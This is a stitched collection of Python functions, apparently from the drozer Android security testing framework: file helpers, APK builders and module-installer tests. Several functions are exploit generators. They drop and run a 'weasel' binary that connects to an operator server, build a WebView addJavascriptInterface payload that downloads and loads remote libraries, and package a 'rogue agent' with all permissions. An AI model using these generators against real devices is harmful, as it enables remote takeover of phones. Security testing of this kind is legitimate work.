def __load_key_material(self): """ Loads Key Material into the authority, from disk. """ if not self.authority.has_ca() and self.key_material_exists(): self.authority.load(fs.read(self.__ca_key_path()), fs.read(self.ca_certificate_path()))
def testItShouldBuildAModuleRepositoryWithPackage(self): fs.touch("./tmp/a/local/.mercury_package") RepositoryBuilder("./tmp", "./repo").build() assert os.path.exists("./repo") assert os.path.exists("./repo/INDEX.xml") assert os.path.exists("./repo/a.local") assert "a.local" in fs.read("./repo/INDEX.xml") assert fs.read("./repo/a.local")[0:4] == "\x50\x4b\x03\x04"
def testItShouldBuildAModuleRepositoryWithPackage(self): fs.touch("./tmp/a/local/.mercury_package") RepositoryBuilder("./tmp", "./repo").build() assert os.path.exists("./repo") assert os.path.exists("./repo/INDEX") assert os.path.exists("./repo/a.local") assert fs.read("./repo/INDEX") == "a.local\n" assert fs.read("./repo/a.local")[0:4] == "\x50\x4b\x03\x04"
def __get_source(self): """ Retrieve the source code from the source file. """ return fs.read(self.path)
def description(self): """ Fetch the human-readable description of this module, from the .andsploit_module file. """ return fs.read(os.path.join(self.path, ".andsploit_package")).strip()
def description(self): """ Fetch the human-readable description of this module, from the .drozer_module file. """ return fs.read(os.path.join(self.path, ".drozer_package")).strip()
def build(self): """ Builds an APK file, from the specified path. """ apk_path = self.__get_generated_apk_name() # if the apk file we are about to generate already exists, then we do # not need to compile it again if not os.path.exists(apk_path): # switch our working directory to the source directory os.chdir(os.path.dirname(self.path)) # compile the java sources (%.java => %.class) if not self.__execute(self.javac, "-cp", self.sdk_path, os.path.basename(self.path)): raise RuntimeError("Error whilst compiling the Java sources.") # collect any sub-classes that we generated sources = map(lambda p: os.path.basename(p), glob.glob(self.path.replace(".java", "$*.class"))) # package the compiled bytecode into an apk file (%.class => %.apk) if not self.__execute( self.dx, "--dex", "--output", os.path.basename(apk_path), *([os.path.basename(self.path).replace(".java", ".class")] + sources)): raise RuntimeError("Error whilst building APK bundle.") # read the generated source file return fs.read(apk_path)
def __get_source(self, source_or_relative_path, relative_to=None): """ Get source, either from an apk file or passed directly. """ source = None if source_or_relative_path.endswith(".apk"): if relative_to == None: relative_to = os.path.join(os.path.dirname(__file__), "..") elif relative_to.find(".py") >= 0 or relative_to.find(".pyc") >= 0: relative_to = os.path.dirname(relative_to) apk_path = os.path.join(relative_to, *source_or_relative_path.split("/")) java_path = apk_path.replace(".apk", ".java") if os.path.exists(apk_path): source = fs.read(apk_path) elif os.path.exists(java_path): source = ClassBuilder(java_path, self.dx_path(), self.javac_path(), self.android_path()).build() else: source = source_or_relative_path return source
def do_build(self, arguments): """build a drozer Agent""" source = (arguments.rogue or arguments.no_gui) and "rogue-agent" or "standard-agent" packager = builder.Packager() packager.unpack(source) if arguments.rogue or arguments.no_gui: e = manifest.Endpoint(packager.endpoint_path()) if arguments.server is not None: e.put_server(arguments.server) e.write() if not arguments.granular: permissions = set(android.permissions) else: permissions = set([]) else: permissions = set([]) if arguments.permission is not None: permissions = permissions.union(arguments.permission) defined_permissions = {} if arguments.define_permission is not None: defined_permissions = dict( itertools.zip_longest(*[iter(arguments.define_permission)] * 2, fillvalue="")) # add extra permissions to the Manifest file m = manifest.Manifest(packager.manifest_path()) # Apktool v2.2.4 generates a malformed YAML file when unpacking apks # See https://github.com/iBotPeaches/Apktool/issues/1610 # This workaround generates a valid YAML document and prevents agent building from failing yaml_doc = yaml.load( fs.read(packager.apktool_yml_path()).decode().replace( '!!brut.androlib.meta.MetaInfo', '')) m_ver = yaml_doc['versionInfo']['versionName'] #m_ver = m.version() c_ver = meta.version.__str__() if m_ver != c_ver: print("Version Mismatch: Consider updating your build(s)") print("Agent Version: %s" % m_ver) print("drozer Version: %s" % c_ver) for p in permissions: m.add_permission(p) for name, protectionLevel in defined_permissions.items(): m.define_permission(name, protectionLevel) m.write() built = packager.package() print("Done:", built)
def testItShouldBuildAModuleRepository(self): RepositoryBuilder("./tmp", "./repo").build() assert os.path.exists("./repo") assert os.path.exists("./repo/INDEX.xml") assert os.path.exists("./repo/a.local.module") assert "a.local.module" in fs.read("./repo/INDEX.xml")
def testItShouldBuildAModuleRepository(self): RepositoryBuilder("./tmp", "./repo").build() assert os.path.exists("./repo") assert os.path.exists("./repo/INDEX") assert os.path.exists("./repo/a.local.module") assert fs.read("./repo/INDEX") == "a.local.module\n"
def testItShouldNotInstallARawLocalModuleIfAlreadyPresent(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == "This is a local, raw module." fs.write("./tmp/a.local.module", "This is an edited local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert fs.read("./tmp/a/local/module.py") != "This is an edited local, raw module."
def testItShouldNotInstallARawLocalModuleIfAlreadyPresent(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == b"This is a local, raw module." fs.write("./tmp/a.local.module", "This is an edited local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert fs.read("./tmp/a/local/module.py") != b"This is an edited local, raw module."
def testItShouldOverwriteARawLocalModuleIfForceIsSet(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == b"This is a local, raw module." fs.write("./tmp/a.local.module", "This is an edited local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"], True) assert fs.read("./tmp/a/local/module.py") == b"This is an edited local, raw module."
def testItShouldInstallAnArchiveModuleFromALocalSource(self): ModuleInstaller("./tmp").install(["./test/mwr_test/mocks/a.local.zip"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == b"This is a local, archived module.\n"
def testItShouldOverwriteARawLocalModuleIfForceIsSet(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == "This is a local, raw module." fs.write("./tmp/a.local.module", "This is an edited local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"], True) assert fs.read("./tmp/a/local/module.py") == "This is an edited local, raw module."
def testItShouldInstallAnArchiveModuleFromALocalSource(self): ModuleInstaller("./tmp").install(["./test/mwr_test/mocks/a.local.zip"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == "This is a local, archived module.\n"
def testItShouldInstallARawModuleFromALocalSource(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == b"This is a local, raw module."
def testItShouldInstallARawModuleFromALocalSource(self): fs.write("./tmp/a.local.module", "This is a local, raw module.") ModuleInstaller("./tmp").install(["./tmp/a.local.module"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") assert fs.read("./tmp/a/local/module.py") == "This is a local, raw module."
def testItShouldOverwriteAnArchivedLocalModuleIfForceIsSet(self): ModuleInstaller("./tmp").install(["./test/mwr_test/mocks/a.local.zip"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") ModuleInstaller("./tmp").install(["./test/mwr_test/mocks/mocks(reinstall)/a.local.zip"], True) assert fs.read("./tmp/a/local/module.py") == b"This is an edited local, archived module.\n"
def testItShouldOverwriteAnArchivedLocalModuleIfForceIsSet(self): ModuleInstaller("./tmp").install(["./test/mwr_test/mocks/a.local.zip"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") ModuleInstaller("./tmp").install(["./test/mwr_test/mocks/mocks(reinstall)/a.local.zip"], True) assert fs.read("./tmp/a/local/module.py") == "This is an edited local, archived module.\n"
def testItShouldNotInstallAnArchivedLocalModuleIfAlreadyPresent(self): ModuleInstaller("./tmp").install(["./test/mwr_test/mocks/a.local.zip"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") ModuleInstaller("./tmp").install(["./test/mwr_test/mocks(reinstall)/a.local.zip"]) assert fs.read("./tmp/a/local/module.py") != b"This is an edited local, archived module.\n"
def testItShouldNotInstallAnArchivedLocalModuleIfAlreadyPresent(self): ModuleInstaller("./tmp").install(["./test/mwr_test/mocks/a.local.zip"]) assert os.path.exists("./tmp/a") assert os.path.exists("./tmp/a/__init__.py") assert os.path.exists("./tmp/a/local") assert os.path.exists("./tmp/a/local/__init__.py") assert os.path.exists("./tmp/a/local/module.py") ModuleInstaller("./tmp").install(["./test/mwr_test/mocks(reinstall)/a.local.zip"]) assert fs.read("./tmp/a/local/module.py") != "This is an edited local, archived module.\n"
def description(self): """ Fetch the human-readable description of this module, by extracting the first multi-line comment. """ delim = '"""' source = fs.read(self.path) if delim in source: start_idx = source.index(delim) + len(delim) finish_idx = source.index(delim, start_idx) return source[start_idx:finish_idx].strip() else: return ""
def description(self): """ Fetch the human-readable description of this module, by extracting the first multi-line comment. """ delim = b"\"\"\"" source = fs.read(self.path) if delim in source: start_idx = source.index(delim) + len(delim) finish_idx = source.index(delim, start_idx) return source[start_idx:finish_idx].strip() else: return ""
def generate(self, arguments): self.format = "R" # we only support RAW format architecture = "armeabi" if arguments.working_directory is not None: directory = arguments.working_directory elif self.__exploit is not None: directory = self.__exploit.working_directory else: directory = "/data/data/com.android.browser" weasel = Configuration.library( os.path.join("weasel", architecture, "w")) self.append(self.hexifyString("cd %s\n" % directory)) self.append(self.hexifyString("/system/bin/rm w\n")) self.append( self.hexifyString("echo -e \"%s\" > w\n" % "".join(["\\0%.3o" % b for b in fs.read(weasel)]))) self.append(self.hexifyString("/system/bin/chmod 770 w\n")) self.append(self.hexifyString("./w %s %d\n" % arguments.server))
def build_agent(self, arguments): source = arguments.no_gui and "rogue-agent" or "standard-agent" packager = builder.Packager() packager.unpack(source) if arguments.no_gui: e = manifest.Endpoint(packager.endpoint_path()) if arguments.server != None: e.put_server(arguments.server) e.write() permissions = set(android.permissions) if arguments.permission != None: permissions = permissions.union(arguments.permission) m = manifest.Manifest(packager.manifest_path()) for p in permissions: m.add_permission(p) m.write() return fs.read(packager.package())
def build(self): """ Builds an APK file, from the specified path. """ apk_path = self.__get_generated_apk_name() # if the apk file we are about to generate already exists, then we do # not need to compile it again if not os.path.exists(apk_path): # switch our working directory to the source directory os.chdir(os.path.dirname(self.path)) # compile the java sources (%.java => %.class) if self.__execute(self.javac , "-cp", self.sdk_path, os.path.basename(self.path)): raise RuntimeError("Error whilst compiling the Java sources.") # collect any sub-classes that we generated sources = map(lambda p: os.path.basename(p), glob.glob(self.path.replace(".java", "$*.class"))) # package the compiled bytecode into an apk file (%.class => %.apk) if self.__execute(self.dx , "--dex", "--output", os.path.basename(apk_path), *([os.path.basename(self.path).replace(".java", ".class")] + sources)): raise RuntimeError("Error whilst building APK bundle.") # read the generated source file return fs.read(apk_path)
def __get_source(self, source_or_relative_path, relative_to=None): """ Get source, either from an apk file or passed directly. """ source = None if source_or_relative_path.endswith(".apk"): if relative_to == None: relative_to = os.path.join(os.path.dirname(__file__), "..") elif relative_to.find(".py") >= 0 or relative_to.find(".pyc") >= 0: relative_to = os.path.dirname(relative_to) apk_path = os.path.join(relative_to, *source_or_relative_path.split("/")) java_path = apk_path.replace(".apk", ".java") if os.path.exists(apk_path): source = fs.read(apk_path) elif os.path.exists(java_path): source = ClassBuilder(java_path, self.dx_path, self.javac_path, self.android_path).build() else: source = source_or_relative_path return source
def generate(self, arguments): host = arguments.server[0] port = str(arguments.server[1]) # Load addjsi-exploit-functions.js functions_path = Configuration.library(os.path.join("scripts", "addjsi-exploit-functions.js")) drozer_js = fs.read(functions_path) # Save packageName and dataDir into variables drozer_js += "packageName = getPackageName();\n" drozer_js += "dataDir = \"/data/data/\" + packageName;\n" if arguments.no_context: # Add payload - normal weasel drozer_js += self._execute(self.payload.strip()) else: # # Add payload - libWebViewContext.so addition # # Write weasel and get server.settings drozer_js += self._execute(self.payload.strip() + " get server.settings") # Download additional tools additional_tools = self._weaselGet(host, port, "libWebViewContext.so") additional_tools += self._weaselGet(host, port, "agent.jar") drozer_js += self._execute(additional_tools) # Load libWebViewContext.so drozer_js += "loadLib(dataDir + \"/libWebViewContext.so\");\n" # Build server.settings and push server_settings = host + "," + port sys.stdout.write("Uploading server.settings...") if not self.upload(arguments, "/server.settings", server_settings): return # Upload libWebViewContext.so sys.stdout.write("Uploading libWebViewContext.so...") libPath = str(Configuration.library(os.path.join("WebViewContext", "libs", "armeabi", "libWebViewContext.so"))) if not self.upload(arguments, "/libWebViewContext.so", fs.read(libPath)): return path = self.generate_or_default_path(arguments.resource) exploit = """<html><script type="text/javascript" src="dz.js"></script></html>""" sys.stdout.write("Uploading blank page to /...") if not self.upload(arguments, "/", " "): return sys.stdout.write("Uploading exploit inclusion page to %s..." % path) if not self.upload(arguments, path, self.build_multipart({ ".*": exploit }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write("Uploading exploit to /dz.js...") if not self.upload(arguments, "/dz.js", self.build_multipart({ ".*": drozer_js }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write("Done. The exploit is available on: http://%s:%s%s\n" % (host, port, path.replace("\\",""))) sys.stdout.write("When using the MitM helper plugin for drozer: JS Location = http://%s:%s/dz.js\n" % (host, port))
def generate(self, arguments): host = arguments.server[0] port = str(arguments.server[1]) # Load addjsi-exploit-functions.js functions_path = Configuration.library( os.path.join("scripts", "addjsi-exploit-functions.js")) drozer_js = fs.read(functions_path) # Save packageName and dataDir into variables drozer_js += "packageName = getPackageName();\n" drozer_js += "dataDir = \"/data/data/\" + packageName;\n" if arguments.no_context: # Add payload - normal weasel drozer_js += self._execute(self.payload.strip()) else: # # Add payload - libWebViewContext.so addition # # Write weasel and get server.settings drozer_js += self._execute(self.payload.strip() + " get server.settings") # Download additional tools additional_tools = self._weaselGet(host, port, "libWebViewContext.so") additional_tools += self._weaselGet(host, port, "agent.jar") drozer_js += self._execute(additional_tools) # Load libWebViewContext.so drozer_js += "loadLib(dataDir + \"/libWebViewContext.so\");\n" # Build server.settings and push server_settings = host + "," + port sys.stdout.write("Uploading server.settings...") if not self.upload(arguments, "/server.settings", server_settings): return # Upload libWebViewContext.so sys.stdout.write("Uploading libWebViewContext.so...") libPath = str( Configuration.library( os.path.join("WebViewContext", "libs", "armeabi", "libWebViewContext.so"))) if not self.upload(arguments, "/libWebViewContext.so", fs.read(libPath)): return path = self.generate_or_default_path(arguments.resource) exploit = """<html><script type="text/javascript" src="dz.js"></script></html>""" sys.stdout.write("Uploading blank page to /...") if not self.upload(arguments, "/", " "): return sys.stdout.write("Uploading exploit inclusion page to %s..." % path) if not self.upload(arguments, path, self.build_multipart({".*": exploit}, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write("Uploading exploit to /dz.js...") if not self.upload(arguments, "/dz.js", self.build_multipart({".*": drozer_js}, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }): return sys.stdout.write( "Done. The exploit is available on: http://%s:%s%s\n" % (host, port, path.replace("\\", ""))) sys.stdout.write( "When using the MitM helper plugin for drozer: JS Location = http://%s:%s/dz.js\n" % (host, port))
def getBody(self): return fs.read(self.path)
def __init__(self, path): self.__path = path self.__doc = xml.fromstring(fs.read(self.__path).decode())
def __read_local_module(self, module): """ Read a module file from the local filesystem, and return the source. """ return fs.read(module)
def generate(self, arguments): self.format = "R" # we only support RAW format architecture = "armeabi" if arguments.working_directory != None: directory = arguments.working_directory elif self.__exploit != None: directory = self.__exploit.working_directory else: directory = "/data/data/com.android.browser" weasel = Configuration.library(os.path.join("weasel", architecture)) self.append(self.hexifyString("cd %s\n" % directory)) self.append(self.hexifyString("/system/bin/rm w\n")) self.append(self.hexifyString("echo -e \"%s\" > w\n" % "".join(map(lambda b: "\\0%.3o" % ord(b), fs.read(weasel))))) self.append(self.hexifyString("/system/bin/chmod 770 w\n")) self.append(self.hexifyString("./w %s %d\n" % arguments.server))